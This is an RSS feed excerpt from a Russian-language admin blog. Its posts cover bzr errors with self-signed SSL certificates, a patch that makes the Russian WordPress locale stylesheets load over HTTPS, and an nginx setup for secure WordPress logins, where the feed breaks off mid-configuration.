<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ars Longa, Vita Brevis &#187; SSL</title>
	<atom:link href="http://blog.sjinks.pro/tag/ssl/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.sjinks.pro</link>
	<description>Quod scripsi, scripsi</description>
	<lastBuildDate>Mon, 06 Feb 2012 17:56:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Как подружить bzr с самоподписанными SSL-сертификатами</title>
		<link>http://blog.sjinks.pro/administering/926-bzr-self-signed-ssl-certs/</link>
		<comments>http://blog.sjinks.pro/administering/926-bzr-self-signed-ssl-certs/#comments</comments>
		<pubDate>Mon, 18 Jul 2011 09:01:54 +0000</pubDate>
		<dc:creator>Wandering Soul</dc:creator>
				<category><![CDATA[Администрирование]]></category>
		<category><![CDATA[bzr]]></category>
		<category><![CDATA[HTTPS]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=926</guid>
		<description><![CDATA[Connection error: curl connection error (server certificate verification failed) Симптом: при выполнении команды вида bzr branch https://example.com/ trunk bzr выдаёт ошибку: bzr: ERROR: Connection error: curl connection error (server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt CRLfile: none) on https://example.com/.bzr/smart Есть два метода исправления проблемы. Удаление пакета pycurl. Самый простой вариант. Из недостатков — некоторые пакеты (jockey, python-urlgrabber) зависят [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/administering/926-bzr-self-signed-ssl-certs/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Connection error: curl connection error (server certificate verification failed)</em></h2>
<p>Симптом: при выполнении команды вида</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p9266">
        <div class="code bash" id="p926code6">
<span class="kw2">bzr</span> branch https:<span class="sy0">//</span>example.com<span class="sy0">/</span> trunk
        </div>
    </div>
</div>

<p><a href="http://blog.sjinks.pro/tag/bzr/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  bzr">bzr</a> выдаёт ошибку:</p>
<p><strong>bzr: ERROR: Connection error: curl connection error (server certificate verification failed. CAfile: /etc/<a href="http://blog.sjinks.pro/tag/ssl/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  SSL">ssl</a>/certs/ca-certificates.crt CRLfile: none)<br />
on <a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTPS">https</a>://example.com/.bzr/smart</strong></p>
<p>Есть два метода исправления проблемы.<span id="more-926"></span></p>
<ol>
<li>Удаление пакета <code>pycurl</code>. Самый простой вариант. Из недостатков — некоторые пакеты (<code>jockey</code>, <code>python-urlgrabber</code>) зависят от <code>pycurl</code>; как следствие, если эти пакеты удалить нельзя, то данный вариант не подходит.</li>
<li>Использование <code>urllib</code> вместо <code>pycurl</code>.
<p>Для этого вместо</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p9267">
        <div class="code bash" id="p926code7">
<span class="kw2">bzr</span> branch https:<span class="sy0">//</span>example.com<span class="sy0">/</span> trunk
        </div>
    </div>
</div>

<p>нужно использовать</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p9268">
        <div class="code bash" id="p926code8">
<span class="kw2">bzr</span> branch https+urllib:<span class="sy0">//</span>example.com<span class="sy0">/</span> trunk
        </div>
    </div>
</div>

<p>Но и это еще не всё <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  После выполнения команд <code>bzr pull</code>/<code>bzr push</code> bzr не запомнит модификатор <code>urllib</code>.</p>
<p>Для полного исправления проблемы нужно открыть файл <code>.bzr/branch/branch.conf</code>, найти строки</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p9269">
        <div class="code text" id="p926code9">
parent_location = https://example.com<br />
push_location = https://example.com
        </div>
    </div>
</div>

<p>и исправить их:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p92610">
        <div class="code text" id="p926code10">
parent_location = https+urllib://example.com<br />
push_location = https+urllib://example.com
        </div>
    </div>
</div>

После этого всё должно работать.
</li>
</ol>
<p>Рекомендуется к прочтению:</p>
<ul>
<li><a href="https://bugs.launchpad.net/bzr/+bug/82086">Bug 82086</a></li>
</ul>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/administering/926-bzr-self-signed-ssl-certs/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/administering/926-bzr-self-signed-ssl-certs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Официальный русский WordPress и SSL</title>
		<link>http://blog.sjinks.pro/wordpress/871-official-russian-wordpress-ssl/</link>
		<comments>http://blog.sjinks.pro/wordpress/871-official-russian-wordpress-ssl/#comments</comments>
		<pubDate>Wed, 01 Dec 2010 13:15:22 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[HTTPS]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[ошибка]]></category>
		<category><![CDATA[патч]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=871</guid>
		<description><![CDATA[Исправление проблем с SSL при использовании официального русского WordPress На днях понадобилось прикрутить к русскоязычному сайту, использующему WordPress, SSL. SSL требовался только в админке, поэтому решалось всё просто: define(&#34;FORCE_SSL_LOGIN&#34;, true); define(&#34;FORCE_SSL_ADMIN&#34;, true); Но после логина и захода в панель администрирования браузер сказал, что соединение не является полностью защищённым — присутствовали объекты, которые загружались по HTTP, а не [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/wordpress/871-official-russian-wordpress-ssl/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Исправление проблем с <a href="http://blog.sjinks.pro/tag/ssl/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  SSL">SSL</a> при использовании официального русского <a href="http://blog.sjinks.pro/tag/wordpress/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  WordPress">WordPress</a></em></h2>
<p>На днях понадобилось прикрутить к русскоязычному сайту, использующему WordPress, SSL. SSL требовался только в админке, поэтому решалось всё просто:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p87116">
        <div class="code php" id="p871code16">
<span class="kw1">define</span><span class="br0">&#40;</span><span class="st0">&quot;FORCE_SSL_LOGIN&quot;</span><span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw1">define</span><span class="br0">&#40;</span><span class="st0">&quot;FORCE_SSL_ADMIN&quot;</span><span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>Но после логина и захода в панель администрирования браузер сказал, что соединение не является полностью защищённым — присутствовали объекты, которые загружались по HTTP, а не <a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTPS">HTTPS</a>.<span id="more-871"></span></p>
<p>Быстрый взгляд на исходный текст страницы и виновные найдены:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p87117">
        <div class="code html" id="p871code17">
<span class="sc2">&lt;<span class="kw2">link</span> <span class="kw3">rel</span><span class="sy0">=</span><span class="st0">'stylesheet'</span> <span class="kw3">id</span><span class="sy0">=</span><span class="st0">'ru_RU-css'</span> &nbsp;<span class="kw3">href</span><span class="sy0">=</span><span class="st0">'http://site.com/wp-content/languages/ru_RU.css?ver=20100615'</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">'text/css'</span> <span class="kw3">media</span><span class="sy0">=</span><span class="st0">'all'</span> <span class="sy0">/</span>&gt;</span><br />
<span class="sc-2">&lt;!--[if IE]&gt;</span><br />
<span class="sc-2">&lt;link rel='stylesheet' id='ru_RU-ie-css' &nbsp;href='http://site.com/wp-content/languages/ru_RU-ie.css?ver=20100615' type='text/css' media='all' /&gt;</span><br />
<span class="sc-2">&lt;![endif]--&gt;</span><br />
<span class="sc2">&lt;<span class="kw2">link</span> <span class="kw3">rel</span><span class="sy0">=</span><span class="st0">'stylesheet'</span> <span class="kw3">id</span><span class="sy0">=</span><span class="st0">'ms-ru_RU-css'</span> &nbsp;<span class="kw3">href</span><span class="sy0">=</span><span class="st0">'http://site.com/wp-content/languages/ms-ru_RU.css?ver=20100615'</span> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">'text/css'</span> <span class="kw3">media</span><span class="sy0">=</span><span class="st0">'all'</span> <span class="sy0">/</span>&gt;</span>
        </div>
    </div>
</div>

<p>Эти три таблицы стилей грузятся с http, в то время как все остальные ресурсы грузятся с https. А путь (<code>wp-content/languages/</code>) указывает на то, что проблемы были вызваны файлами локализации. Заходим в <code>wp-content/languages/</code>, видим файл <code>ru_RU.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  PHP">php</a></code>, смотрим:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p87118">
        <div class="code php" id="p871code18">
<span class="kw2">&lt;?php</span><br />
<span class="re0">$wp_default_secret_key</span> <span class="sy0">=</span> <span class="st_h">'впишите сюда уникальную фразу'</span><span class="sy0">;</span><br />
<br />
<span class="co1">// Make the menu wider and correct some overlapping issues</span><br />
<span class="kw2">function</span> ru_accomodate_markup<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw2">global</span> <span class="re0">$locale</span><span class="sy0">,</span> <span class="re0">$wp_styles</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; wp_enqueue_style<span class="br0">&#40;</span><span class="re0">$locale</span><span class="sy0">,</span> WP_CONTENT_URL <span class="sy0">.</span> <span class="st0">&quot;/languages/<span class="es4">$locale</span>.css&quot;</span><span class="sy0">,</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="st_h">'20100615'</span><span class="sy0">,</span> <span class="st_h">'all'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; wp_enqueue_style<span class="br0">&#40;</span><span class="st0">&quot;<span class="es4">$locale</span>-ie&quot;</span><span class="sy0">,</span> WP_CONTENT_URL <span class="sy0">.</span> <span class="st0">&quot;/languages/<span class="es4">$locale</span>-ie.css&quot;</span><span class="sy0">,</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="st_h">'20100615'</span><span class="sy0">,</span> <span class="st_h">'all'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> is_multisite<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; wp_enqueue_style<span class="br0">&#40;</span><span class="st0">&quot;ms-<span class="es4">$locale</span>&quot;</span><span class="sy0">,</span> WP_CONTENT_URL <span class="sy0">.</span> <span class="st0">&quot;/languages/ms-<span class="es4">$locale</span>.css&quot;</span><span class="sy0">,</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="st_h">'20100615'</span><span class="sy0">,</span> <span class="st_h">'all'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="re0">$wp_styles</span><span class="sy0">-&gt;</span><span class="me1">add_data</span><span class="br0">&#40;</span><span class="st0">&quot;<span class="es4">$locale</span>-ie&quot;</span><span class="sy0">,</span> <span class="st_h">'conditional'</span><span class="sy0">,</span> <span class="st_h">'IE'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; wp_print_styles<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
add_action<span class="br0">&#40;</span><span class="st_h">'admin_head'</span><span class="sy0">,</span> <span class="st_h">'ru_accomodate_markup'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
<span class="kw2">function</span> ru_populate_options<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; add_option<span class="br0">&#40;</span><span class="st_h">'rss_language'</span><span class="sy0">,</span> <span class="st_h">'ru'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
add_action<span class="br0">&#40;</span><span class="st_h">'populate_options'</span><span class="sy0">,</span> <span class="st_h">'ru_populate_options'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
<span class="kw2">function</span> ru_restore_scripts_l10n<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw2">global</span> <span class="re0">$wp_scripts</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="kw3">is_a</span><span class="br0">&#40;</span><span class="re0">$wp_scripts</span><span class="sy0">,</span> <span class="st_h">'WP_Scripts'</span><span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; do_action_ref_array<span class="br0">&#40;</span><span class="st_h">'wp_default_scripts'</span><span class="sy0">,</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="sy0">&amp;</span><span class="re0">$wp_scripts</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
add_action<span class="br0">&#40;</span><span class="st_h">'init'</span><span class="sy0">,</span> <span class="st_h">'ru_restore_scripts_l10n'</span><span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>Очевидно, что проблема заключается в использовании константы <code>WP_CONTENT_URL</code> — если URL сайта начинается с http://, то вне зависимости от значений констант <code>FORCE_SSL_xxx</code> значение <code>WP_CONTENT_URL</code> всегда будет начинаться с http://. Что недопустимо при использовании SSL.</p>
<p>Лечение простое: заменить <code>WP_CONTENT_URL</code> на вызов функции <code>content_url()</code>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p87119">
        <div class="code php" id="p871code19">
<span class="kw2">&lt;?php</span><br />
<span class="re0">$wp_default_secret_key</span> <span class="sy0">=</span> <span class="st_h">'впишите сюда уникальную фразу'</span><span class="sy0">;</span><br />
<br />
<span class="co1">// Make the menu wider and correct some overlapping issues</span><br />
<span class="kw2">function</span> ru_accomodate_markup<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw2">global</span> <span class="re0">$locale</span><span class="sy0">,</span> <span class="re0">$wp_styles</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; wp_enqueue_style<span class="br0">&#40;</span><span class="re0">$locale</span><span class="sy0">,</span> content_url<span class="br0">&#40;</span><span class="st0">&quot;languages/<span class="es4">$locale</span>.css&quot;</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="st_h">'20100615'</span><span class="sy0">,</span> <span class="st_h">'all'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; wp_enqueue_style<span class="br0">&#40;</span><span class="st0">&quot;<span class="es4">$locale</span>-ie&quot;</span><span class="sy0">,</span> content_url<span class="br0">&#40;</span><span class="st0">&quot;languages/<span class="es4">$locale</span>-ie.css&quot;</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="st_h">'20100615'</span><span class="sy0">,</span> <span class="st_h">'all'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> is_multisite<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; wp_enqueue_style<span class="br0">&#40;</span><span class="st0">&quot;ms-<span class="es4">$locale</span>&quot;</span><span class="sy0">,</span> content_url<span class="br0">&#40;</span><span class="st0">&quot;languages/ms-<span class="es4">$locale</span>.css&quot;</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="st_h">'20100615'</span><span class="sy0">,</span> <span class="st_h">'all'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="re0">$wp_styles</span><span class="sy0">-&gt;</span><span class="me1">add_data</span><span class="br0">&#40;</span><span class="st0">&quot;<span class="es4">$locale</span>-ie&quot;</span><span class="sy0">,</span> <span class="st_h">'conditional'</span><span class="sy0">,</span> <span class="st_h">'IE'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; wp_print_styles<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
add_action<span class="br0">&#40;</span><span class="st_h">'admin_head'</span><span class="sy0">,</span> <span class="st_h">'ru_accomodate_markup'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
<span class="kw2">function</span> ru_populate_options<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; add_option<span class="br0">&#40;</span><span class="st_h">'rss_language'</span><span class="sy0">,</span> <span class="st_h">'ru'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
add_action<span class="br0">&#40;</span><span class="st_h">'populate_options'</span><span class="sy0">,</span> <span class="st_h">'ru_populate_options'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
<span class="kw2">function</span> ru_restore_scripts_l10n<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw2">global</span> <span class="re0">$wp_scripts</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="kw3">is_a</span><span class="br0">&#40;</span><span class="re0">$wp_scripts</span><span class="sy0">,</span> <span class="st_h">'WP_Scripts'</span><span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; do_action_ref_array<span class="br0">&#40;</span><span class="st_h">'wp_default_scripts'</span><span class="sy0">,</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="sy0">&amp;</span><span class="re0">$wp_scripts</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
add_action<span class="br0">&#40;</span><span class="st_h">'init'</span><span class="sy0">,</span> <span class="st_h">'ru_restore_scripts_l10n'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="sy1">?&gt;</span>
        </div>
    </div>
</div>

<p>Патч:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p87120">
        <div class="code diff" id="p871code20">
--- ru_RU.php.orig&nbsp; 2010-12-01 14:01:46.000000000 +0200<br />
<span class="re4">+++ ru_RU.php &nbsp; <span class="nu0">2010</span>-<span class="nu0">12</span>-01 <span class="nu0">14</span>:<span class="nu0">59</span>:<span class="nu0">25.000000000</span> +0200</span><br />
<span class="re6">@@ -<span class="nu0">5</span>,<span class="nu0">10</span> +<span class="nu0">5</span>,<span class="nu0">10</span> @@</span><br />
&nbsp;function ru_accomodate_markup<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; global $locale, $wp_styles;<br />
&nbsp;<br />
<span class="re7">- &nbsp; wp_enqueue_style<span class="br0">&#40;</span>$locale, WP_CONTENT_URL . &quot;/languages/$locale.css&quot;, array<span class="br0">&#40;</span><span class="br0">&#41;</span>, '20100615', 'all'<span class="br0">&#41;</span>;</span><br />
<span class="re7">- &nbsp; wp_enqueue_style<span class="br0">&#40;</span>&quot;$locale-ie&quot;, WP_CONTENT_URL . &quot;/languages/$locale-ie.css&quot;, array<span class="br0">&#40;</span><span class="br0">&#41;</span>, '20100615', 'all'<span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; wp_enqueue_style<span class="br0">&#40;</span>$locale, content_url<span class="br0">&#40;</span>&quot;languages/$locale.css&quot;<span class="br0">&#41;</span>, array<span class="br0">&#40;</span><span class="br0">&#41;</span>, '20100615', 'all'<span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; wp_enqueue_style<span class="br0">&#40;</span>&quot;$locale-ie&quot;, content_url<span class="br0">&#40;</span>&quot;languages/$locale-ie.css&quot;<span class="br0">&#41;</span>, array<span class="br0">&#40;</span><span class="br0">&#41;</span>, '20100615', 'all'<span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; if <span class="br0">&#40;</span> is_multisite<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#41;</span><br />
<span class="re7">- &nbsp; &nbsp; &nbsp; wp_enqueue_style<span class="br0">&#40;</span>&quot;ms-$locale&quot;, WP_CONTENT_URL . &quot;/languages/ms-$locale.css&quot;, array<span class="br0">&#40;</span><span class="br0">&#41;</span>, '20100615', 'all'<span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; &nbsp; &nbsp; wp_enqueue_style<span class="br0">&#40;</span>&quot;ms-$locale&quot;, content_url<span class="br0">&#40;</span>&quot;languages/ms-$locale.css&quot;<span class="br0">&#41;</span>, array<span class="br0">&#40;</span><span class="br0">&#41;</span>, '20100615', 'all'<span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; $wp_styles-&gt;add_data<span class="br0">&#40;</span>&quot;$locale-ie&quot;, 'conditional', 'IE'<span class="br0">&#41;</span>;<br />
&nbsp;<br />
&nbsp; &nbsp; wp_print_styles<span class="br0">&#40;</span><span class="br0">&#41;</span>;
        </div>
    </div>
</div>

<p>Интересно, кому об этой ошибке сообщать?</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/wordpress/871-official-russian-wordpress-ssl/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/wordpress/871-official-russian-wordpress-ssl/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Безопасный логин в WordPress с использованием nginx</title>
		<link>http://blog.sjinks.pro/security/716-secure-wordpress-login-with-nginx/</link>
		<comments>http://blog.sjinks.pro/security/716-secure-wordpress-login-with-nginx/#comments</comments>
		<pubDate>Sat, 05 Dec 2009 03:11:38 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[nginx]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[HTTPS]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[безопасность]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=716</guid>
		<description><![CDATA[Лишние плагины не нужны WordPress, начиная с версии 2.6, имеет улучшенную поддержку работы с HTTPS. У администратора есть две возможности: Использование HTTPS для работы в панели управления (wp-admin). Использование HTTPS только для входа в систему. Первое достигается путём добавления строки define(&#039;FORCE_SSL_ADMIN&#039;, true); в wp-config.php, второе — путём добавления строки define(&#039;FORCE_SSL_LOGIN&#039;, true); Добавляем одну из этих двух строк [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/716-secure-wordpress-login-with-nginx/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Лишние плагины не нужны</em></h2>
<p><a href="http://blog.sjinks.pro/tag/wordpress/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  WordPress">WordPress</a>, начиная с версии 2.6, имеет <a href="http://ryan.boren.me/2008/07/14/ssl-and-cookies-in-wordpress-26/">улучшенную поддержку</a> работы с <a href="http://blog.sjinks.pro/tag/https/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTPS">HTTPS</a>.</p>
<p>У администратора есть две возможности:</p>
<ol>
<li>Использование HTTPS для работы в панели управления (<code>wp-admin</code>).</li>
<li>Использование HTTPS только для входа в систему.</li>
</ol>
<p>Первое достигается путём добавления строки</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p71627">
        <div class="code php" id="p716code27">
<span class="kw1">define</span><span class="br0">&#40;</span><span class="st_h">'FORCE_SSL_ADMIN'</span><span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>в <code>wp-config.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  PHP">php</a></code>, второе — путём добавления строки</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p71628">
        <div class="code php" id="p716code28">
<span class="kw1">define</span><span class="br0">&#40;</span><span class="st_h">'FORCE_SSL_LOGIN'</span><span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>Добавляем одну из этих двух строк в <code>wp-config.php</code> и проблема решена? Но в действительности всё не так, как на самом деле <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
<span id="more-716"></span></p>
<p>У <span title="Параноики">специалистов по информационной безопасности</span> существует негласное правило, по которому HTML-форма, передающая данные на HTTPS-страницу, должна также находиться на HTTPS-странице. Связано это с тем, что соединение, по которому передаются данные, может прослушиваться. В случае обычного HTTP-соединения злоумышленник может модифицировать передаваемую от сервера форму, заменив <code>https</code> на <code>http</code>, что приведёт к тому, что форма будет отправлена по обычному (не зашифрованному) соединению, и злоумышленник сможет перехватить всю ценную информацию. Усугубляется это всё тем, что пользователь не может сказать, куда передаётся форма, не открыв исходный код страницы.</p>
<p>Для предотвращения подобного безобразия сама форма должна находиться на HTTPS-страницы: злоумышленник не сможет изменить данные, передаваемые по зашифрованному каналу.</p>
<p>Казалось бы, при чём тут <s>Лужков</s> WordPress? Во-первых, WordPress даже при включённом <code>FORCE_<a href="http://blog.sjinks.pro/tag/ssl/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  SSL">SSL</a>_LOGIN</code> не перенаправляет пользователя с <code>http://.../wp-login.php</code> на <code>https://.../wp-login.php</code>. А во-вторых, WordPress — это не только платформа для блоггинга, это еще и <a href="http://wordpress.org/development/2009/11/wordpress-wins-cms-award/">CMS</a>, на основе которой делаются всякие магазины и даже целые панели управления сайтами (да, я принимал участие в создании одной из таких панелей). Иными словами, платформы, где успешный перехват логина и пароля может привести к очень печальным последствиям.</p>
<p>Какие есть варианты? Самый простой — написать простой плагин, который сделает перенаправление с HTTP на HTTPS для <code>wp-login.php</code>. Но лишний PHP-код скорости работы не прибавляет, а потому не наш метод. Тем более, когда всё можно сделать на уровне сервера.</p>
<p>Рассмотрим на примере <a href="http://blog.sjinks.pro/tag/nginx/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  nginx">nginx</a>.</p>
<p>В nginx есть две возможности настроить HTTPS-сервер. <strong>Первая</strong> (она же наиболее часто используемая) — это задание отдельного виртуального хоста для HTTP- и HTTPS-версий сайта. Что-то вида</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p71629">
        <div class="code nginx" id="p716code29">
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">80</span>;<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> example.com;<br />
<span class="co1">#...</span><br />
}<br />
<br />
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">443</span>;<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> example.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">ssl</span> <span class="kw2">on</span>;<br />
<span class="co1">#...</span><br />
}
        </div>
    </div>
</div>

<p>В этом случае всё просто: нужно добавить следующие строки в виртуальный хост, отвечающий за HTTP:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p71630">
        <div class="code nginx" id="p716code30">
<span class="kw1">location</span> = /wp-login.php {<br />
